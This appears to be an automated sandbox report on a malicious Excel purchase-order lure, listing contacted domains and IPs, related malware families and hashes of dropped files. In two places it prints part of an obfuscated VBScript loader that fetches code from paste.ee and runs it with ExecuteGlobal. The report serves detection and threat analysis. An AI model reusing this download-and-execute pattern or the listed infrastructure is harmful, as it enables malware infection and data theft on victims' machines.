http://www.diginotar.nl/cps/pkioverheid0	wscript.exe, 00000006.00000003.476800668.0000000000529000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.476902673.000000000052D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000002.478430362.000000000052E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.476434080.0000000000527000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.525769987.0000000004EA0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://paste.ee/d/nwtkd	wscript.exe, 00000006.00000003.477174452.000000000051A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.476434080.000000000051A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000002.477774934.000000000051A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.google.com	wscript.exe, 00000006.00000003.476434080.0000000000527000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	wscript.exe, 00000006.00000003.476800668.0000000000529000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.476902673.000000000052D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000002.478430362.000000000052E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.476434080.0000000000527000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.525769987.0000000004EA0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://paste.ee/d/nwtkd(M	wscript.exe, 00000006.00000003.475867877.00000000030F3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://wednesdayyyyyyfile.duckdns.org/wednesdaysMPDW-constraints.vbs024C:	EQNEDT32.EXE, 00000003.00000002.470732712.00000000003AD000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contoso.com/	powershell.exe, 00000009.00000002.520640546.0000000003479000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000009.00000002.520640546.0000000003479000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ip-api.com	AddInProcess32.exe, 0000000A.00000002.623977936.000000000241C000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000A.00000002.623977936.0000000002438000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000A.00000002.623977936.0000000002381000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://analytics.paste.ee;	wscript.exe, 00000006.00000003.476434080.0000000000527000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://drive.google.com	powershell.exe, 00000009.00000002.520640546.000000000258A000.00000004.00000800.00020000.00000000.sdmp	true		unknown
https://drive.usercontent.google.com	powershell.exe, 00000009.00000002.520640546.00000000026C2000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://cdnjs.cloudflare.com	wscript.exe, 00000006.00000003.476434080.0000000000527000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://cdnjs.cloudflare.com;	wscript.exe, 00000006.00000003.476434080.0000000000527000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://ocsp.entrust.net0D	wscript.exe, 00000006.00000003.476800668.0000000000529000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.476902673.000000000052D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000002.478430362.000000000052E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.476434080.0000000000527000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.525769987.0000000004EA0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000007.00000002.575765381.000000000251A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.520640546.0000000002451000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000A.00000002.623977936.000000000241C000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000A.00000002.623977936.0000000002381000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://secure.comodo.com/CPS0	wscript.exe, 00000006.00000003.476800668.0000000000529000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.476902673.000000000052D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000002.478430362.000000000052E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.476434080.0000000000527000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.525769987.0000000004EA0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://secure.gravatar.com	wscript.exe, 00000006.00000003.476434080.0000000000527000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://themes.googleusercontent.com	wscript.exe, 00000006.00000003.476434080.0000000000527000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crl.entrust.net/2048ca.crl0	wscript.exe, 00000006.00000003.476800668.0000000000529000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.476902673.000000000052D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000002.478430362.000000000052E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.476434080.0000000000527000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.525769987.0000000004EA0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/dahall/taskscheduler	powershell.exe, 00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
208.95.112.1	ip-api.com	United States	53334	TUT-ASUS	true
198.46.178.134	wednesdayyyyyyfile.duckdns.org	United States	36352	AS-COLOCROSSINGUS	true
188.114.96.3	paste.ee	European Union	13335	CLOUDFLARENETUS	true
142.250.186.97	drive.usercontent.google.com	United States	15169	GOOGLEUS	false
216.58.206.46	drive.google.com	United States	15169	GOOGLEUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1540838
Start date and time:	2024-10-24 08:50:58 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Orden de Compra No. 78986756565344657.xlam.xlsx
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winXLSX@10/10@8/5
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 100% Number of executed functions: 48 Number of non-executed functions: 6
Cookbook Comments:	Found application associated with file extension: .xlsx Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Active ActiveX Object Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
Execution Graph export aborted for target powershell.exe, PID 3708 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Orden de Compra No. 78986756565344657.xlam.xlsx

Simulations

Behavior and APIs

Time	Type	Description
02:52:41	API Interceptor	73x Sleep call for process: EQNEDT32.EXE modified
02:52:45	API Interceptor	28x Sleep call for process: wscript.exe modified
02:52:47	API Interceptor	361x Sleep call for process: powershell.exe modified
02:53:08	API Interceptor	14x Sleep call for process: AddInProcess32.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.95.112.1	OUTSTANDING PAYMENT STATUS 01199241024.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	ip-api.com/line/?fields=hosting
	Circular_no_088_Annexure_pdf.html	Get hash	malicious	HTMLPhisher	Browse	ip-api.com/json/?fields=status,country,regionName,city,query
	RTGS_UCB_DCCB_docx.html	Get hash	malicious	HTMLPhisher	Browse	ip-api.com/json/?fields=status,country,regionName,city,query
	aoKTzGQSRP.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	7EdXVD16wd.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	faBnX3uZqr.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	ip-api.com/line/?fields=hosting
	NxR7UQaeKe.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	yNDotZsd7U.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	ip-api.com/line/?fields=hosting
	MMsRQ2p7RL.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	ip-api.com/line/?fields=hosting
	rComprobantedepago_PAGOSBBVA_.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
198.46.178.134	76.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	mondayyyyvbsgreeceee.duckdns.org/droidlatestttttt875869.txt
	transferencia interbancaria_Swift_6647875.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	fridaylocalmanager.duckdns.org/madamwebbbbbbbbbbb.txt
	Orden de Compra No. 434565344657.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	thursdayyyyyyfileeee.duckdns.org/mandatedmangomanagerupdatedequitosbanq.txt
	65567 DHL 647764656798860.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	198.46.178.134/madamwebbbbbbase64444.txt
	facturas vencidas, 650098, 0099, 00976, 009668, 009678, 0056598433.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	198.46.178.134/madamwebbbbbbase64444.txt
	Orden de Compra 097890.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	198.46.178.134/madamwebbbbbbase64444.txt

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ip-api.com	OUTSTANDING PAYMENT STATUS 01199241024.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	208.95.112.1
	Circular_no_088_Annexure_pdf.html	Get hash	malicious	HTMLPhisher	Browse	208.95.112.1
	RTGS_UCB_DCCB_docx.html	Get hash	malicious	HTMLPhisher	Browse	208.95.112.1
	aoKTzGQSRP.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	7EdXVD16wd.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	NxR7UQaeKe.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	yNDotZsd7U.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	208.95.112.1
	MMsRQ2p7RL.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	208.95.112.1
	rComprobantedepago_PAGOSBBVA_.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
paste.ee	seethebestthingstobegetmebackwithherlove.hta	Get hash	malicious	Cobalt Strike	Browse	188.114.97.3
	necgoodthingswithgreatthingsentirethingstobeinonline.hta	Get hash	malicious	Cobalt Strike	Browse	188.114.97.3
	BL Packing List & Invoice.xls	Get hash	malicious	Unknown	Browse	188.114.97.3
	DHLShippingInvoicesAwbBL000000000102220242247.vbs	Get hash	malicious	Remcos	Browse	188.114.96.3
	20042024150836 14.10.2024.vbe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	Swift Payment 20241014839374.vbs	Get hash	malicious	Remcos	Browse	188.114.96.3
	segura.vbs	Get hash	malicious	AsyncRAT	Browse	188.114.96.3
	DHL_Shipping_Invoices_Awb_0000000.vbs	Get hash	malicious	Remcos	Browse	188.114.97.3
	20062024150836 11.10.2024.vbe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	awb_shipping_doc_001700720242247820020031808174CN18003170072024_00000000pdf.js	Get hash	malicious	Remcos	Browse	188.114.97.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	VM2ICvV5qQ.pdf	Get hash	malicious	Unknown	Browse	104.17.24.14
	EL-25-536_40005512_Le Cuivre_23102024.vbe	Get hash	malicious	GuLoader	Browse	104.21.70.11
	OUTSTANDING PAYMENT STATUS 01199241024.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	104.26.12.205
	PO-008847332.xlam.xlsx	Get hash	malicious	Unknown	Browse	104.21.53.112
	RFQ_64182MR_PDF.R00.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	g4Cyr2T5jq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	104.21.53.8
	Urgent Quotation documents One Pdf.vbs	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	#PO247762.docx	Get hash	malicious	Remcos	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.206.204
	Inova oferta nr F01281624PL.html	Get hash	malicious	Unknown	Browse	1.1.1.1
AS-COLOCROSSINGUS	Shipping Documents WMLREF115900.xls	Get hash	malicious	Lokibot	Browse	192.3.176.141
	A & C Metrology OC 5457144.xls	Get hash	malicious	Unknown	Browse	192.210.215.8
	#PO247762.docx	Get hash	malicious	Remcos	Browse	104.168.7.51
	la.bot.arm7.elf	Get hash	malicious	Unknown	Browse	192.3.165.37
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	107.175.231.193
	Logs.xls	Get hash	malicious	Lokibot	Browse	192.3.176.141
	PRODUCT_INQUIRY.js	Get hash	malicious	WSHRat	Browse	192.210.215.11
	Inv No.248740.xls	Get hash	malicious	Unknown	Browse	107.175.229.138
	InvoiceXCopy.xls	Get hash	malicious	Snake Keylogger	Browse	172.245.123.45
	seethebestthingstobegetmebackwithherlove.hta	Get hash	malicious	Cobalt Strike	Browse	23.94.171.157
TUT-ASUS	OUTSTANDING PAYMENT STATUS 01199241024.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	208.95.112.1
	Circular_no_088_Annexure_pdf.html	Get hash	malicious	HTMLPhisher	Browse	208.95.112.1
	RTGS_UCB_DCCB_docx.html	Get hash	malicious	HTMLPhisher	Browse	208.95.112.1
	aoKTzGQSRP.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	7EdXVD16wd.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	faBnX3uZqr.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	208.95.112.1
	NxR7UQaeKe.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	yNDotZsd7U.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	208.95.112.1
	MMsRQ2p7RL.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	208.95.112.1
	rComprobantedepago_PAGOSBBVA_.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
05af1f5ca1b87cc9cc9b25185115607d	Shipping Documents WMLREF115900.xls	Get hash	malicious	Lokibot	Browse	142.250.186.97 188.114.96.3 216.58.206.46
	A & C Metrology OC 5457144.xls	Get hash	malicious	Unknown	Browse	142.250.186.97 188.114.96.3 216.58.206.46
	#PO247762.docx	Get hash	malicious	Remcos	Browse	142.250.186.97 188.114.96.3 216.58.206.46
	PO NAHK22012FA000000.docx	Get hash	malicious	Unknown	Browse	142.250.186.97 188.114.96.3 216.58.206.46
	PO NAHK22012FA00000.docx.doc	Get hash	malicious	Remcos	Browse	142.250.186.97 188.114.96.3 216.58.206.46
	Logs.xls	Get hash	malicious	Lokibot	Browse	142.250.186.97 188.114.96.3 216.58.206.46
	InvoiceXCopy.xls	Get hash	malicious	Snake Keylogger	Browse	142.250.186.97 188.114.96.3 216.58.206.46
	CLOSURE.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	142.250.186.97 188.114.96.3 216.58.206.46
	oodforme.doc	Get hash	malicious	Remcos	Browse	142.250.186.97 188.114.96.3 216.58.206.46
	EX0096959.docx.doc	Get hash	malicious	Remcos	Browse	142.250.186.97 188.114.96.3 216.58.206.46

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	4760
Entropy (8bit):	4.834060479684549
Encrypted:	false
SSDEEP:	96:RCJ2Woe5u2k6Lm5emmXIGxgyg12jDs+un/iQLEYFjDaeWJ6KGcmXSFRLcU6/KD:cxoe5uVsm5emdOgkjDt4iWN3yBGHydcY
MD5:	838C1F472806CF4BA2A9EC49C27C2847
SHA1:	D1C63579585C4740956B099697C74AD3E7C89751
SHA-256:	40A844E6AF823D9E71A35DFEE1FF7383D8A682E9981FB70440CA47AA1F6F1FF3
SHA-512:	E784B61696AB19C5A178204A11E4012A9A29D58B3D3BF1D5648021693883FFF343C87777E7A2ADC81B833148B90B88E60948B370D2BB99DEC70C097B5C91B145
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PSMODULECACHE............Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script...............T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\wednesdaysMPDW-constraints[1].vbs

Download File

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	2256
Entropy (8bit):	3.772028195853046
Encrypted:	false
SSDEEP:	48:Z0ccBMaB6lMtqtrrMr6mMfettAe660+fhO0f8fAPXDA4OleV3AJQ0/ul4CsKsLPp:QPB6lMtqtrrMr6mMfettAe660WhO0f8Z
MD5:	54E57248990A0EBD524060171ADE45A1
SHA1:	EE9574E743E95F4EF2CF970B751139087CE37541
SHA-256:	13BC44CC6AC3CC16820100B2FDD632C3D81F2FDA2230055EA2511370E1A2477C
SHA-512:	342EC5F037AD8CD93F694DABC2892C8DCB28F33C3C3E20C6CAEC77F3B8BB3997795BB2E27FE078548472046D1CF10B81E7F0FB18518E28DB3E09EEAF65CC5CFE
Malicious:	true
Preview:	......S.e.t. .e.s.t.a.t.u.a.r. .=. .C.r.e.a.t.e.O.b.j.e.c.t.(.".M.S.X.M.L.2...S.e.r.v.e.r.X.M.L.H.T.T.P...6...0.".).........m.a.r.e.t.i.n.a. .=. .a.m.y.g.d.o.p.h.i.n.i.n.a.(.".g* ... ..' ..# .[/".).....c.a.t.o.t.o.l. .=. .a.m.y.g.d.o.p.h.i.n.i.n.a.(.".d.g* ... ..' ..# .[/k.g* ... ..' ..# .[/t.g* ... ..' ..# .[/w.g* ... ..' ..# .[/n.g* ... ..' ..# .[//.g* ... ..' ..# .[/d.g* ... ..' ..# .[//.g* ... ..' ..# .[/e.g* ... ..' ..# .[/e.g* ... ..' ..# .[/..g* ... ..' ..# .[/e.g* ... ..' ..# .[/t.g* ... ..' ..# .[/s.g* ... ..' ..# .[/a.g* ... ..' ..# .[/p.g* ... ..' ..# .[//.g* ... ..' ..# .[//.g* ... ..' ..# .[/:.g* ... ..' ..# .[/p.g* ... ..' ..# .[/t.g* ... ..' ..# .[/t.g* ... ..' ..# .[/h.".).....c.a.t.o.t.o.l. .=. .R.e.p.l.a.c.e.S.t.r.i.n.g.(.c.a.t.o.t.o.l.,. .m.a.r.e.t.i.n.a.,. .".".).........e.s.t.a.t.u.a.r...O.p.e.n. .".G.E.T.".,. .c.a.t.o.t.o.l.,. .F.a.l.s.e.....e.s.t.a.t.u.a.r...S.e.n.d.........E.x.e.c.u.t.e.G.l.o.b.a.l. .e.s.t.a.t.u.a.r...R.e.s.p.o.n.s.e.T.e.x.t.............F.u.n.c.

C:\Users\user\AppData\Local\Temp\bgfgo5mr.ab3.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\fng3ykdr.q3d.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\j4ib2yoe.4gc.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\w4r4vben.wht.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Roaming\wednesdaydatinglover.vbs

Download File

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	2256
Entropy (8bit):	3.772028195853046
Encrypted:	false
SSDEEP:	48:Z0ccBMaB6lMtqtrrMr6mMfettAe660+fhO0f8fAPXDA4OleV3AJQ0/ul4CsKsLPp:QPB6lMtqtrrMr6mMfettAe660WhO0f8Z
MD5:	54E57248990A0EBD524060171ADE45A1
SHA1:	EE9574E743E95F4EF2CF970B751139087CE37541
SHA-256:	13BC44CC6AC3CC16820100B2FDD632C3D81F2FDA2230055EA2511370E1A2477C
SHA-512:	342EC5F037AD8CD93F694DABC2892C8DCB28F33C3C3E20C6CAEC77F3B8BB3997795BB2E27FE078548472046D1CF10B81E7F0FB18518E28DB3E09EEAF65CC5CFE
Malicious:	true
Preview:	......S.e.t. .e.s.t.a.t.u.a.r. .=. .C.r.e.a.t.e.O.b.j.e.c.t.(.".M.S.X.M.L.2...S.e.r.v.e.r.X.M.L.H.T.T.P...6...0.".).........m.a.r.e.t.i.n.a. .=. .a.m.y.g.d.o.p.h.i.n.i.n.a.(.".g* ... ..' ..# .[/".).....c.a.t.o.t.o.l. .=. .a.m.y.g.d.o.p.h.i.n.i.n.a.(.".d.g* ... ..' ..# .[/k.g* ... ..' ..# .[/t.g* ... ..' ..# .[/w.g* ... ..' ..# .[/n.g* ... ..' ..# .[//.g* ... ..' ..# .[/d.g* ... ..' ..# .[//.g* ... ..' ..# .[/e.g* ... ..' ..# .[/e.g* ... ..' ..# .[/..g* ... ..' ..# .[/e.g* ... ..' ..# .[/t.g* ... ..' ..# .[/s.g* ... ..' ..# .[/a.g* ... ..' ..# .[/p.g* ... ..' ..# .[//.g* ... ..' ..# .[//.g* ... ..' ..# .[/:.g* ... ..' ..# .[/p.g* ... ..' ..# .[/t.g* ... ..' ..# .[/t.g* ... ..' ..# .[/h.".).....c.a.t.o.t.o.l. .=. .R.e.p.l.a.c.e.S.t.r.i.n.g.(.c.a.t.o.t.o.l.,. .m.a.r.e.t.i.n.a.,. .".".).........e.s.t.a.t.u.a.r...O.p.e.n. .".G.E.T.".,. .c.a.t.o.t.o.l.,. .F.a.l.s.e.....e.s.t.a.t.u.a.r...S.e.n.d.........E.x.e.c.u.t.e.G.l.o.b.a.l. .e.s.t.a.t.u.a.r...R.e.s.p.o.n.s.e.T.e.x.t.............F.u.n.c.

C:\Users\user\Desktop\~$Orden de Compra No. 78986756565344657.xlam.xls

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.4377382811115937
Encrypted:	false
SSDEEP:	3:vZ/FFDJw2fV:vBFFGS
MD5:	797869BB881CFBCDAC2064F92B26E46F
SHA1:	61C1B8FBF505956A77E9A79CE74EF5E281B01F4B
SHA-256:	D4E4008DD7DFB936F22D9EF3CC569C6F88804715EAB8101045BA1CD0B081F185
SHA-512:	1B8350E1500F969107754045EB84EA9F72B53498B1DC05911D6C7E771316C632EA750FBCE8AD3A82D664E3C65CC5251D0E4A21F750911AE5DC2FC3653E49F58D
Malicious:	false
Preview:	.user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\user\Desktop\~$Orden de Compra No. 78986756565344657.xlam.xlsx

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.4377382811115937
Encrypted:	false
SSDEEP:	3:vZ/FFDJw2fV:vBFFGS
MD5:	797869BB881CFBCDAC2064F92B26E46F
SHA1:	61C1B8FBF505956A77E9A79CE74EF5E281B01F4B
SHA-256:	D4E4008DD7DFB936F22D9EF3CC569C6F88804715EAB8101045BA1CD0B081F185
SHA-512:	1B8350E1500F969107754045EB84EA9F72B53498B1DC05911D6C7E771316C632EA750FBCE8AD3A82D664E3C65CC5251D0E4A21F750911AE5DC2FC3653E49F58D
Malicious:	true
Preview:	.user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

Static File Info

General

File type:	Microsoft Excel 2007+
Entropy (8bit):	7.99817078294857
TrID:	Excel Microsoft Office Open XML Format document (35004/1) 81.40% ZIP compressed archive (8000/1) 18.60%
File name:	Orden de Compra No. 78986756565344657.xlam.xlsx
File size:	602'839 bytes
MD5:	6d622d241526560dcfd39335c249cd6e
SHA1:	cc0d6a0f1cab1b41ef8553318b126225f8604f34
SHA256:	36cb95a3f8294818da3c9561fa21681028e4e878dcb938ca5a43d36c46e31a9e
